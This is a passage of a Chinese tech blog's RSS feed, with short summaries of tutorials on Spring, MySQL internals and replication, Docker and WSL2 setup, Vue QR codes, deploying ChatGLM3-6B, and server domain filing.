增加了宝塔后他会开防火墙，云服务不仅得开，宝塔上也得开好像有点麻烦了。平时直接防火墙关掉，但是比较危险，各有利弊。&#xA;4.映射项目域名 首先你得有域名，拿到域名记住第一件事情就是去认证，个人的就比较简单，然后如果是企业认证注意经营许可证上最好不要有这些内容：出版类（互联网出版许可证）、食品经营（食品经营许可证）、游戏类、文化类、广播电视电影节目类的。上面那些都需要前置审批，得办点别的许可证。&#xA;我总结了几个步骤：</description>
    </item>
    <item>
      <title>【JavaEE&amp;Spring】Spring IoC&amp;DI</title>
      <link>https://bchobby.github.io/posts/7f79533e346c95ee80278e3a411e16a3/</link>
      <pubDate>Thu, 09 Nov 2023 16:46:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f79533e346c95ee80278e3a411e16a3/</guid>
      <description>Spring IoC&amp;amp; DI 1. IoC2. IoC &amp;amp; DI 使⽤2.1 Bean的存储2.1 DI 注入 @Autowired 3. 练习代码自取 1. IoC Spring 是包含了众多⼯具⽅法的 IoC 容器 IoC: Inversion of Control (控制反转), 也就是说 Spring 是⼀个&#34;控制反转&#34;的容器。&#xA;什么是控制反转呢? 也就是控制权反转; 什么的控制权发生了反转? 获取依赖对象的过程被反转了也就是说, 当需要某个对象时, 传统开发模式中需要自己通过 new 创建对象, 现在不需要再进行创建, 把创建对象的任务交给容器, 程序中需要依赖注入 (Dependency Injection, DI) 就可以了这个容器称为; IoC 容器, Spring 是一个IoC 容器, 所以有时Spring也称为 Spring 容器 DI 介绍&#xA;IoC 是⼀种思想，也是&#34;⽬标&#34;, ⽽思想只是⼀种指导原则，最终还是要有可⾏的落地⽅案，⽽ DI 就属于具体的实现。所以也可以说, DI 是IoC的⼀种实现.&#xA;2. IoC &amp;amp; DI 使⽤ Spring 把存储在容器中的对象称为 bean</description>
    </item>
    <item>
      <title>【JavaEE&amp;Spring】Spring Web MVC⼊⻔</title>
      <link>https://bchobby.github.io/posts/6488a00aa206d9389cb775745d8484a5/</link>
      <pubDate>Thu, 09 Nov 2023 16:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6488a00aa206d9389cb775745d8484a5/</guid>
      <description>Spring Web MVC 1. 什么是 Spring Web MVC1.1 什么是 MVC ?1.2 是什么 Spring MVC? 2. 学习 Spring MVC2.1 建立连接2.2 请求2.3 响应 3. 相关代码链接 1. 什么是 Spring Web MVC 官⽅对于 Spring MVC 的描述是这样的：&#xA;1.1 什么是 MVC ? MVC 是 Model View Controller 的缩写它是软件⼯程中的⼀种软件架构设计模式，它把软件系统分为模型、视图和控制器三个基本部分 View(视图) 指在应用程序中专门用来与浏览器进行交互, 展示数据的资源Model(模型) 是应用程序的主体部分, 用来处理程序中数据逻辑的部分Controller(控制器) 可以理解为一个分发器, 用来决定对于视图发来的请求, 需要用哪一个模型来处理, 以及处理完成后需要跳到哪一个视图; 即用来连接视图和模型 1.2 是什么 Spring MVC? MVC 是⼀种架构设计模式, 也⼀种思想, ⽽ Spring MVC 是对 MVC 思想的具体实现.&#xA;SpringMVC还是⼀个Web框架.&#xA;总结来说，Spring MVC 是⼀个实现了 MVC 模式的 Web 框架.</description>
    </item>
    <item>
      <title>vue项目不调用接口</title>
      <link>https://bchobby.github.io/posts/77a4acd1a208a3e63c1fdb741a712333/</link>
      <pubDate>Thu, 09 Nov 2023 15:34:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77a4acd1a208a3e63c1fdb741a712333/</guid>
      <description>访问后端接口地址配置项ip多了一个1xxx.xx.xx.xx:999</description>
    </item>
    <item>
      <title>Error creating bean with name ‘apiModelSpecificationReader‘ defined in URL</title>
      <link>https://bchobby.github.io/posts/58f7ef5e6c6f4bfd2dad9240e5a35170/</link>
      <pubDate>Thu, 09 Nov 2023 14:57:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58f7ef5e6c6f4bfd2dad9240e5a35170/</guid>
      <description>问题： 启动项目的时候，报错了&#xA;org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name &#39;apiModelSpecificationReader&#39; defined in URL [jar:file:/D:/.gradle/caches/modules-2/files-2.1/io.springfox/springfox-spring-web/3.0.0/a76f2fbe805bfd2798e20dc8f2cfbfad554d52da/springfox-spring-web-3.0.0.jar!/springfox/documentation/spring/web/scanners/ApiModelSpecificationReader.class]: Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type &#39;springfox.documentation.schema.ModelSpecificationProvider&#39; available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {@org.springframework.beans.factory.annotation.Qualifier(value=cachedModels)} 检查了下swagger的版本，用的是：&#xA;implementation(&#34;io.swagger:swagger-annotations:1.5.20&#34;) implementation(&#34;io.springfox:springfox-swagger2:2.9.2&#34;) implementation(&#34;io.springfox:springfox-swagger-ui:2.9.2&#34;) implementation(&#34;io.springfox:springfox-swagger-common:2.9.2&#34;) 提示却是3.0.0&#xA;[jar:file:/D:/.gradle/caches/modules-2/files-2.1/ io.springfox/springfox-spring-web/3.0.0 复制了下路径，检查了下，确实是如此。&#xA;原来是新的项目swagger用的是3.0.0，用的是一样的路径，导致影响。 处理1： 把springfox-spring-web目录下的3.0.0目录删了，再启动，是正常的。&#xA;但这样的话，有弄先的项目，又会出问题。&#xA;处理2： 在build.grale文件里面添加： exclude group: &#39;io.springfox&#39;, module: &#39;springfox-boot-starter&#39;&#xA;configurations { developmentOnly runtimeClasspath { extendsFrom developmentOnly } all { exclude group: &#39;org.</description>
    </item>
    <item>
      <title>MySQL单表过大、主从模式、同步模式优化原理</title>
      <link>https://bchobby.github.io/posts/38cb4b3545e05fa63bbfe72abc905486/</link>
      <pubDate>Thu, 09 Nov 2023 14:19:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38cb4b3545e05fa63bbfe72abc905486/</guid>
      <description>文章目录 MYSQL单表数据达2000万性能严重下降?前言InnoDB索引数据结构B+树 Sharding Sphere分库分表Sharding-JDBCSharding-JDBC的相关概念说明逻辑表广播表绑定表 Sharding-JDBC中的分片策略自动分片算法取模分片算法哈希取模分片算法分片容量范围标准分片算法行表达式分片算法时间范围分片算法 MySQL主从机制原理前言主从复制原理基本原理主从延迟原因随机重放主库并发高锁等待 主从延迟处理并行复制降低主库并发读主库 总结主从复制原理主从延迟原因主从延迟处理 MySQL三种同步模式优劣异步复制半同步复制全同步复制 MYSQL单表数据达2000万性能严重下降? 前言 在中国互联网技术圈流传着这么一个说法：MySQL 单表数据量大于 2000 万行，性能会明显下降。事实上，这个传闻据说最早起源于百度。具体情况大概是这样的，当年的 DBA 测试 MySQL性能时发现，当单表的量在 2000 万行量级的时候，SQL 操作的性能急剧下降，因此，结论由此而来。然后又据说百度的工程师流动到业界的其它公司，随之也带去了这个信息，所以，就在业界流传开这么一个说法。&#xA;再后来，阿里巴巴《Java 开发手册》提出单表行数超过 500 万行或者单表容量超过 2GB，才推荐进行分库分表。对此，有阿里的黄金铁律支撑，所以，很多人设计大数据存储时，多会以此为标准，进行分表操作。&#xA;那这个说法到底有没有理论依据的支撑呢，首先这个性能问题可以说有很多因素组成，比如说硬件以及MYSQL本身的参数设置等等。那今天我们可以从MySQL的索引结构来说说这件事。&#xA;InnoDB索引数据结构 一个问题？&#xA;**InnoDB一棵B+树可以存放多少行数据？这个问题的简单回答是：约2千万。**为什么是这么多呢？因为这是可以算出来的，要搞清楚这个问题，我们先从InnoDB索引数据结构、数据组织方式说起。&#xA;我们都知道计算机在存储数据的时候，有最小存储单元，这就好比我们今天进行现金的流通最小单位是一毛。在计算机中磁盘存储数据最小单元是扇区，一个扇区的大小是512字节&#xA;而文件系统（例如XFS/EXT4）他的最小单元是块，一个块的大小是4k&#xA;而对于我们的InnoDB存储引擎也有自己的最小储存单元——页（Page），一个页的大小是16K。&#xA;文件系统中一个文件大小只有1个字节，但不得不占磁盘上4KB的空间。&#xA;innodb的所有数据文件（后缀为ibd的文件），他的大小始终都是16384（16k）的整数倍。&#xA;数据表中的数据都是存储在页中的，所以一个页中能存储多少行数据呢？&#xA;假设一行数据的大小是1k，那么一个页可以存放16行这样的数据。&#xA;如果数据库只按这样的方式存储，那么如何查找数据就成为一个问题，因为我们不知道要查找的数据存在哪个页中，也不可能把所有的页遍历一遍，那样太慢了。所以人们想了一个办法，用B+树的方式组织这些数据。如图所示：&#xA;我们先将数据记录按主键进行排序，分别存放在不同的页中（为了便于理解我们这里一个页中只存放3条记录，实际情况可以存放很多），除了存放数据的页以外，还有存放键值+指针的页，如图中page number=3的页，该页存放键值和指向数据页的指针，这样的页由N个键值+指针组成。当然它也是排好序的。这样的数据组织形式，我们称为索引组织表。现在来看下，要查找一条数据，怎么查？&#xA;如select * from user where id=5;&#xA;这里id是主键,我们通过这棵B+树来查找&#xA;首先找到根页，你怎么知道user表的根页在哪呢？其实每张表的根页位置在表空间文件中是固定的，即page number=3的页（这点我们下文还会进一步证明），找到根页后通过二分查找法，定位到id=5的数据应该在指针P5指向的页中，那么进一步去page number=5的页中查找，同样通过二分查询法即可找到id=5的记录：&#xA;| 5 | zhao2 | 27 | 现在我们清楚了InnoDB中主键索引B+树是如何组织数据、查询数据的，我们总结一下：&#xA;1、InnoDB存储引擎的最小存储单元是页，页可以用于存放数据也可以用于存放键值+指针，在B+树中叶子节点存放数据，非叶子节点存放键值+指针。&#xA;2、索引组织表通过非叶子节点的二分查找法以及指针确定数据在哪个页中，进而在去数据页中查找到需要的数据；&#xA;B+树 那么回到我们开始的问题，通常一棵B+树可以存放多少行数据？&#xA;这里我们先假设B+树高为2，即存在一个根节点和若干个叶子节点，那么这棵B+树的存放总记录数为：&#xA;根节点指针数*单个叶子节点记录行数&#xA;上文我们已经说明单个叶子节点（页）中的记录数=16K/1K=16。（这里假设一行记录的数据大小为1k，实际上现在很多互联网业务数据记录大小通常就是1K左右）。&#xA;那么现在我们需要计算出非叶子节点能存放多少指针？&#xA;其实这也很好算，我们假设主键ID为bigint类型，长度为8字节，而指针大小在InnoDB源码中设置为6字节，这样一共14字节，我们一个页中能存放多少这样的单元，其实就代表有多少指针，16K是页最小的占用磁盘单元，即（16*1024）/14=1170 。&#xA;那么可以算出一棵高度为2的B+树，能存放1170*16=18720 条这样的数据记录。</description>
    </item>
    <item>
      <title>Docker Desktop 和 WSL2 位置迁移</title>
      <link>https://bchobby.github.io/posts/897a9e5b5ed73b9ae35c97fbabb057f2/</link>
      <pubDate>Thu, 09 Nov 2023 14:11:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/897a9e5b5ed73b9ae35c97fbabb057f2/</guid>
      <description>迁移 WSL2 安装位置 WSL2 默认安装在 C 盘，我们可以通过以下步骤迁移安装位置&#xA;通过以下命令列出已安装的 Linux 发行版：&#xA;wsl -l -v 可以看到已安装了 Ubuntu-22.04，其运行状态为：Stopped&#xA;如果运行状态为 Running，需先通过以下命令关闭：&#xA;wsl --shutdown 然后我们通过以下命令将 Ubuntu-22.04 导出为 tar 文件：&#xA;wsl --export Ubuntu-22.04 e:\Ubuntu-22.04.tar 注： wsl --export &amp;lt;Distribution Name&amp;gt; &amp;lt;FileName&amp;gt; &amp;lt;Distribution Name&amp;gt; 为目标 Linux 发行版的名称，我安装的为： Ubuntu-22.04 &amp;lt;FileName&amp;gt; 为导出的文件名，这里我导出到 e:\Ubuntu-22.04.tar 导出成功后，可以在导出的路径下看到导出的 tar 文件：&#xA;然后注销并卸载 Ubuntu-22.04&#xA;wsl --unregister Ubuntu-22.04 再次查看已安装的 Linux 发行版：&#xA;wsl -l -v 可以看到 Ubuntu-22.04 已经注销并卸载了&#xA;然后将 Ubuntu-22.04 导入到新位置：&#xA;wsl --import Ubuntu-22.04 E:\ubuntu2204 E:\Ubuntu-22.04.tar 注：wsl --import &amp;lt;Distribution Name&amp;gt; &amp;lt;InstallLocation&amp;gt; &amp;lt;FileName&amp;gt; &amp;lt;Distribution Name&amp;gt; 为目标 Linux 发行版的名称，我安装的为： Ubuntu-22.</description>
    </item>
    <item>
      <title>vue3中使用qrcode生成二维码</title>
      <link>https://bchobby.github.io/posts/08817f73c85e42a94ebd51e621ff1dc5/</link>
      <pubDate>Thu, 09 Nov 2023 14:05:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08817f73c85e42a94ebd51e621ff1dc5/</guid>
      <description>安装 npm install --save qrcode.vue or yarn add qrcode.vue 组件中使用 &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { useUiSetStore } from &#39;@store/modules/uiSettings&#39; //导入二维码组件 import QrcodeVue from &#39;qrcode.vue&#39; const ui = useUiSetStore() const payUrl = ref(&#39;&#39;) &amp;lt;/script&amp;gt; &amp;lt;template&amp;gt; &amp;lt;footer-modal :visible=&#34;ui.fToolsQR&#34;&amp;gt; &amp;lt;div&amp;gt; &amp;lt;input v-model=&#34;payUrl&#34; type=&#34;text&#34; class=&#34;w-150&#34; placeholder=&#34;输入要生成的数据&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;m-auto my-2 w-14&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;m-auto my-2 w-14&#34;&amp;gt;二维码&amp;lt;/div&amp;gt; &amp;lt;div v-if=&#34;payUrl === &#39;&#39;&#34; class=&#34;m-a h-50 w-50&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div v-else class=&#34;m-a h-50 w-50&#34;&amp;gt; //组件中使用 &amp;lt;qrcode-vue :value=&#34;payUrl&#34; :size=&#34;200&#34; level=&#34;H&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/footer-modal&amp;gt; &amp;lt;/template&amp;gt; 全局注册使用 //main.</description>
    </item>
    <item>
      <title>dockerfile指令</title>
      <link>https://bchobby.github.io/posts/17e8f6302a5b597b5528869986b43de7/</link>
      <pubDate>Thu, 09 Nov 2023 13:06:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17e8f6302a5b597b5528869986b43de7/</guid>
      <description>需求：安装一个MySQL，且启动&#xA;如果是虚拟机部署形式的话如下&#xA;1.开启vmware&#xA;2.运行某一个虚拟机，centos7&#xA;3.centos7安装MySQL，yum install mysql-server&#xA;4.通过脚本，或者命令，启动MySQL即可&#xA;缺点：部署慢，且修改了宿主机的环境，删除较为麻烦，占用宿主机的一个3306端口&#xA;基于容器去运行MySQL&#xA;1.开始VMware&#xA;2.运行虚拟机centos7&#xA;3.安装docker容器环境&#xA;4.获取MySQL镜像即可，docker pull mysql:tag(你无法自由控制，该MySQL的基础镜像是什么发行版，你获取的镜像，是别人定制好，你下载使用你希望得到一个基于centos7.8d的发行版本，运行MySQL)&#xA;5。直接运行该镜像，通过端口映射，运行MySQLdocker runmysql:5.6(容器能够运行，必须在容器内有一个进程在前台运行，该容器内，有Mysql正在前台运行)&#xA;6.访问宿主机的一个映射端口，访问到容器内的MySQL&#xA;dockerfile指令 FROM ----这个镜像的妈妈是谁?(指定基础镜像)&#xA;MAINTAINER ----告诉别人，谁负责养它? (指定维护者信息，可以没有)&#xA;RUN -----你想让它干啥 (在命令前面加上RUN即可)&#xA;ADD---- 添加宿主机的文件到容器内 ，还多了一个自动解压的功能&#xA;RUN tar -zxf /opt/xx.tgz #报错！该 tgz 文件不存在！！&#xA;COPY --- 作用和ADD是一样的，主要是拷贝宿主机的文件到容器内，COPY就是仅仅拷贝&#xA;WORKDIR---- 我是cd,今天刚化了妆 (设置当前工作目录)&#xA;VOLUME----给它一个存放行李的地方 (设置卷，挂载主机目录)&#xA;EXPOSE----它要打开的门是啥 (指定对外的端口)&#xA;CMD---- 奔跑吧，兄弟!(指定容器启动后的要千的事情)dockerfile其他指令:&#xA;COPY ----复制文件&#xA;ENV----环境变量&#xA;ENTRYPOINT -----容器启动后执行的命令</description>
    </item>
    <item>
      <title>docker 容器管理</title>
      <link>https://bchobby.github.io/posts/46c688877ce8bfbf245a026a4365b941/</link>
      <pubDate>Thu, 09 Nov 2023 12:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46c688877ce8bfbf245a026a4365b941/</guid>
      <description>docker run 等于创建+启动&#xA;docker run 镜像名，如果镜像不存在本地，则会在线去下载该镜像&#xA;注意：容器内进程必须处于前台运行状态，否则容器就会直接退出&#xA;如果容器内，什么事也没做，容器也会挂掉&#xA;我们运行nginx基础镜像，没有运行任何程序，因此容器之间挂掉&#xA;#运行容器的玩法 #1.运行一个挂掉的容器（从错误示范来学docker容器） docker run centos:7.8.2003 这个写法，会产生多条独立的容器记录，且容器内没有程序 #2.运行容器，且进入容器内，且在容器内执行某个命令 [root@master ~]# docker run -it centos:7.8.2003 sh sh-4.2# sh-4.2# 3。开启一个容器，让它帮你运行某个程序，前台运行，会卡住一个终端 [root@master ~]# docker run -it centos:7.8.2003 ping baidu.com PING baidu.com (110.242.68.66) 56(84) bytes of data. 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=1 ttl=127 time=31.5 ms 64 bytes from 110.242.68.66 (110.242.68.66): icmp_seq=2 ttl=127 time=31.6 ms 4.运行一个或者的容器，docker ps 可以看到容器 -d 参数 ，让容器在后台跑着（针对宿主机而言） 返回容器id [root@master ~]# docker run -d centos:7.</description>
    </item>
    <item>
      <title>工业网关连接工业生产设备与物联网系统的关键设备</title>
      <link>https://bchobby.github.io/posts/6b6535367d9c0f84a8a755c3d6068fe5/</link>
      <pubDate>Thu, 09 Nov 2023 11:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b6535367d9c0f84a8a755c3d6068fe5/</guid>
      <description>随着物联网（IoT）技术的快速发展，越来越多的企业开始将其生产设备与物联网系统连接起来，以实现更高效、更智能的生产方式。在这个过程中，工业网关扮演着至关重要的角色。&#xA;工业网关是一种专门用于连接工业生产设备与物联网系统的设备，它能够实现数据的采集、传输、处理和应用。通过工业网关，企业可以轻松地将其生产设备与云平台、工业互联网等物联网系统连接起来，从而实现对生产过程的实时监控、数据分析和优化。&#xA;一、数据采集与传输&#xA;工业网关具备强大的数据采集和传输能力，可以实时收集来自生产设备的数据，包括设备运行状态、生产产量、能耗等。这些数据可以通过工业网关进行初步的处理和分析，然后传输到云平台或工业互联网等物联网系统中，以实现更高效的数据管理和应用。&#xA;二、数据处理与应用&#xA;工业网关不仅能够采集和传输数据，还能够对数据进行处理和应用。通过对数据的分析，企业可以及时发现生产过程中的问题和瓶颈，从而采取相应的措施进行改进。此外，工业网关还可以将数据应用于预测性维护、质量检测、生产计划等各个方面，以实现更高效、更智能的生产方式。&#xA;三、安全性与可靠性&#xA;工业网关具备可靠的安全性和稳定性，能够确保数据的传输安全和隐私保护。它采用了多种安全技术，包括数据加密、身份验证、访问控制等，以防止数据泄露和非法访问。此外，工业网关还具有故障自诊断和恢复功能，能够在出现故障时自动切换到备份设备或重新启动，以确保生产的连续性和稳定性。&#xA;四、可扩展性与灵活性&#xA;工业网关具有可扩展性和灵活性，能够适应不同的生产设备和物联网系统。它可以通过不同的接口和协议与各种生产设备进行连接，同时还可以支持多种物联网系统和平台，如阿里云、华为云、西门子等。这使得企业可以根据自己的需求选择合适的工业网关，并将其与现有的生产设备和系统进行集成。&#xA;五、降低成本和提高效率&#xA;通过工业网关将企业生产设备接入物联网系统，企业可以降低成本和提高效率。首先，工业网关的使用可以减少人工干预和错误率，从而提高生产质量和效率。其次，通过对数据的分析和应用，企业可以优化生产流程和资源配置，降低能耗和减少浪费。最后，工业网关还可以为企业提供预测性维护和远程故障排除等功能，从而减少维修时间和成本。&#xA;六、产品推荐&#xA;TDE边缘端带智能边缘计算的数据采集网关， 可以方便地实现现场设备的远程数据采集、程序远程下载和远程维护。支持300+的工业设备驱动协议，2 路 RJ45 以太网和最多 5 路串口通讯接口， 可满足绝大部分工业控制器设备的联网需求。 同时支持以太网宽带、4G/5G、Wifi 上网方式。可通过数网星工业云平台实现远程配置、诊断和管理等功能。 工业网关是连接企业生产设备和物联网系统的关键设备。通过工业网关的应用，企业可以提高生产效率、降低成本、增强安全性可靠性以及适应市场变化等方面具有重要意义。因此，对于想要实现智能制造和数字化转型的企业来说，选择合适的工业网关是至关重要的。</description>
    </item>
    <item>
      <title>我的两周年创作纪念日</title>
      <link>https://bchobby.github.io/posts/a4744e724d001825a9c247fcc8be8981/</link>
      <pubDate>Thu, 09 Nov 2023 11:32:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4744e724d001825a9c247fcc8be8981/</guid>
      <description>亲爱的CSDN用户和读者们，&#xA;我们怀着无比激动的心情，迎来了CSDN的两周年创造纪念日！在这特殊的日子里，我们想与你们一起庆祝这个里程碑，回顾过去两年的成就和成长。&#xA;回想起两年前的那一天，我们迈出了这个激动人心的创业旅程。从那时起，我们立志成为最受欢迎的技术社区，为广大开发者和技术爱好者提供一个共享知识、交流经验的平台。如今，我们自豪地说，我们已经成为了一个庞大而充满活力的社区，汇聚了来自世界各地的聪明才智和热情洋溢的技术人员。&#xA;在过去的两年里，我们见证了CSDN社区的迅速发展和壮大。我们拥有了数以百万计的注册用户，数以千计的优质技术博文和教程，以及丰富多样的在线技术活动和研讨会。我们与众多知名技术专家和企业建立了紧密的合作关系，为用户提供更多精彩的内容和机会。我们的社区成员通过分享自己的知识和经验，为其他人提供了无尽的学习和成长机会。&#xA;CSDN的两周年纪念日是我们的共同成就，没有你们的支持和参与，我们无法取得如此令人瞩目的成就。感谢每一位用户和读者，感谢你们的贡献和信任，让CSDN成为了一个充满活力和创新的技术社区。我们将继续努力，不断提升平台的质量和服务，为你们提供更多有价值的内容和资源。&#xA;让我们共同庆祝CSDN的两周年，展望未来的发展。我们相信，未来的日子里，CSDN将继续成为你们学习、交流和探索技术世界的最佳伙伴。让我们携手并肩，共同创造更加美好的未来！&#xA;再次感谢你们对CSDN的支持和厚爱！&#xA;祝愿自己CSDN两周年纪念日快乐！</description>
    </item>
    <item>
      <title>Linux：运行存在的可执行文件提示 No such file or directory</title>
      <link>https://bchobby.github.io/posts/90a7154f8f308842649b35a77b2596a6/</link>
      <pubDate>Thu, 09 Nov 2023 11:21:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a7154f8f308842649b35a77b2596a6/</guid>
      <description>1. 前言 限于作者能力水平，本文可能存在谬误，因此而给读者带来的损失，作者不做任何承诺。&#xA;2. 背景 本文分析基于 linux-4.14.132 上游代码。&#xA;运行环境为：&#xA;Ubuntu 16.04.4 LTS + QEMU + Arm vexpress-a9&#xA;rootfs 基于 ubuntu-base-16.04-core-armhf.tar.gz 制作。&#xA;3. 问题场景和分析过程 交叉编译了 perf 后，将 perf 放到 rootfs 的 /usr/bin/perf 路径，用QEMU启动系统后，执行 perf ，系统提示 No such file or directory 。通过 ls 命令发现文件 /usr/bin/perf 确实存在，所以，No such file or directory信息提示的并不是文件 /usr/bin/perf 不存在，而应该是提示 perf 执行过程中，需要加载的其它文件不存在。由于 perf 程序是通过动态链接方式编译的，所以 perf 执行过程中，需加载相关的解释器程序（动态链接器）和动态链接库。事情到了这里，我们通常可能会怀疑是编译链接过程出了差错。用file命令，对比了不能正常运行的 perf 程序，和能正常运行的 make 程序的基本执行信息：&#xA;$ file /usr/bin/perf /usr/bin/perf: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.</description>
    </item>
    <item>
      <title>docker 容器安装部署 MySQL:5.7主从复制</title>
      <link>https://bchobby.github.io/posts/37de83e71fb0a3885f543729cd69a655/</link>
      <pubDate>Thu, 09 Nov 2023 10:21:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37de83e71fb0a3885f543729cd69a655/</guid>
      <description>首先安装docker 我这边已经安装完成，你如果没有安装可以看我的其他文章有安装docker 的方法&#xA;1、拉取MySQL:5.7镜像 docker pull mysql:5.7&#xA;2、启动mysql-master容器实例 docker run -p 3306:3306 --name mysql-master \&#xA;-v /mydata/mysql-master/log:/var/log/mysql \&#xA;-v /mydata/mysql-master/data:/var/lib/mysql \&#xA;-v /mydata/mysql-master/conf:/etc/mysql/conf.d \&#xA;-e MYSQL_ROOT_PASSWORD=123456 \&#xA;-d mysql:5.7 注释：&#xA;-p 3306:3306 指定映射的端口&#xA;--name 指定容器的名字&#xA;-v 指定逻辑卷宿主机的目录和容器内的目录做逻辑卷防止容器被误删除&#xA;-e MYSQL_ROOT_PASSWORD=123456 指定MySQL的登陆密码&#xA;-d 指定后台运行&#xA;3、进入到宿主机的/mydata/mysql-master/conf/目录下创建my.cnf文件 cd /mydata/mysql-master/conf/&#xA;vim my.cnf [mysqld]&#xA;##设置server_id ，同一个局域网中需要唯一&#xA;server_id=10&#xA;##指定不需要同步的数据库名称&#xA;binlog-ignore-db=mysql&#xA;##开启二进制日志功能&#xA;log-bin=mall-mysql-bin&#xA;##设置二进制日志使用内存大小（事务）&#xA;binlog_cache_size=1M&#xA;##设置使用的二进制日志格式（mixed,statement,row）&#xA;binlog_format=mixed&#xA;##二进制日志过期清理时间，默认为0：表示不自动清理。&#xA;expire_logs_days=3&#xA;##跳过主从复制中遇到的多有错误或指定类型的错误，避免slaver端复制中断。&#xA;##如：1062错误是指一些主键重复，1032错误是因为主从数据库数据不一致。&#xA;slave_skip_errors=1062&#xA;4、重启mysql-master容器 docker restart mysql-master&#xA;5、进入到mysql-master容器内 docker exec -it mysql-master /bin/bash</description>
    </item>
    <item>
      <title>如何用趋动云GPU线上跑AI项目实践-部署最新的ChatGLM3-6B模型</title>
      <link>https://bchobby.github.io/posts/e8bf6dc566d5880f9d6a9867a0782540/</link>
      <pubDate>Thu, 09 Nov 2023 10:12:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8bf6dc566d5880f9d6a9867a0782540/</guid>
      <description>学习教程 一.免费算力领取 Datawhale专属注册： 趋动云https://growthdata.virtaicloud.com/t/vs&#xA;二.部署最新的ChatGLM3-6B模型 1.创建项目 创建好账号之后，进入自己的空间，点击右上角的创建项目。&#xA;给项目起一个你喜欢的名称，选择本地代码&#xA;镜像选择pytorch2.0.1，python3.9&#xA;选择预训练模型，点击公开，选择不要葱姜蒜上传的这个ChtaGLM3-6B模型。&#xA;都选完之后，点击右下角的创建，代码选择暂不上传。待会直接clone代码。&#xA;点击运行代码&#xA;资源配置选择：B1.large， 24G的显存足够加载模型了。其他的不需要设置，然后点击右下角的开始运行。&#xA;2.配置环境+修改代码 等右边两个工具全部加载完毕之后，再点击JupyterLab进入开发环境~&#xA;进入界面之后是这样的，然后点击这个小加号。&#xA;点击terminal，进入终端。&#xA;设置镜像源、克隆项目 首先在终端输入tmux,进入一个新的会话窗口。使用tmux可以保持终端的稳定性。&#xA;tmux 升级apt，安装unzip&#xA;apt-get update &amp;amp;&amp;amp; apt-get install unzip 设置镜像源，升级pip&#xA;git config --global url.&#34;https://gitclone.com/&#34;.insteadOf https://&#xA;pip config set global.index-url https://mirrors.ustc.edu.cn/pypi/web/simple&#xA;python3 -m pip install --upgrade pip&#xA;克隆项目，并进入项目目录&#xA;git clone https://github.com/THUDM/ChatGLM3.git&#xA;cd ChatGLM3&#xA;修改requirements 双击左侧的requirements.txt文件，把其中的torch删掉，因为我们的环境中已经有torch了，避免重复下载浪费时间。&#xA;点击左上选项卡，重新返回终端，安装依赖&#xA;pip install -r requirements.txt&#xA;修改代码&#xA;修改web_demo2.py 双击web_demo2.py，将加载模型的路径修改为：../../pretrain，如下图所示~&#xA;修改web_demo.py 和上面一样我们修改一下模型路径，不同的是，接下来还需要修改一段启动代码~&#xA;将下方的启动代码修改为下方代码。&#xA;demo.queue().launch(share=False, server_name=&#34;0.0.0.0&#34;,server_port=7000) 于此同时在界面的右边添加外部端口：7000 3.运行代码 运行gradio界面 python web_demo.</description>
    </item>
    <item>
      <title>程序员怎样才能学好算法，推荐好书送给大家</title>
      <link>https://bchobby.github.io/posts/b64487e246a85fa506d1f3b55b264152/</link>
      <pubDate>Thu, 09 Nov 2023 09:43:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b64487e246a85fa506d1f3b55b264152/</guid>
      <description>前言 数据结构和算法是计算机科学的基石，是计算机的灵魂&#xA;要想成为计算机专业人员，学习和掌握算法是十分必要的。不懂数据结构和算法的人不可能写出效率更高的代码。计算机科学的很多新行业都离不开数据结构和算法作为基石，比如大数据、人工智能等。底层开发中也需要使用非常多的数据结构和算法知识，以保证底层系统的稳定性和高效性。&#xA;笔者对算法的理解 计算机科学家尼古拉斯·沃斯在计算机领域有一句人尽皆知的名言：&#xA;“算法+数据结构=程序”（Algorithms+Data Structures=Programs）&#xA;所以数据结构和算法是程序员必须掌握的技能。尤其是到一些大公司面试的时候，算法更是一个少不了的环节，熟练掌握数据结构和算法，可以开拓我们的视野，提高我们的逻辑思维能力，在写代码和分析官方源码的时候也非常有帮助。学习数据结构和算法的一个好处就是：学完之后知识基本不会过时，可以永远为我们所用。大家都知道程序员需要不停地学习，因为知识更新太快，记得在笔者（博哥）上大学和后来开始工作的时候，非常喜欢研究官方源码和框架，如痴如醉，但很遗憾，现在很多框架都已被淘汰了，没被淘汰的也被更新得面目全非，然后还要不停地学习其他新的框架。笔者一直在思考，能不能学习一种永不过时的知识。后来就接触了数据结构和算法，这一接触就是好多年，学的那么多知识依然没有过时。比如KMP算法是在1977年被联合发表的，那么多年过去了，这种算法依然没有被淘汰，如果是一个框架，基本上很难保证那么多年还能存在，就算存在也会有大量的更新，还是需要不停地学习。&#xA;写书的初衷及过程 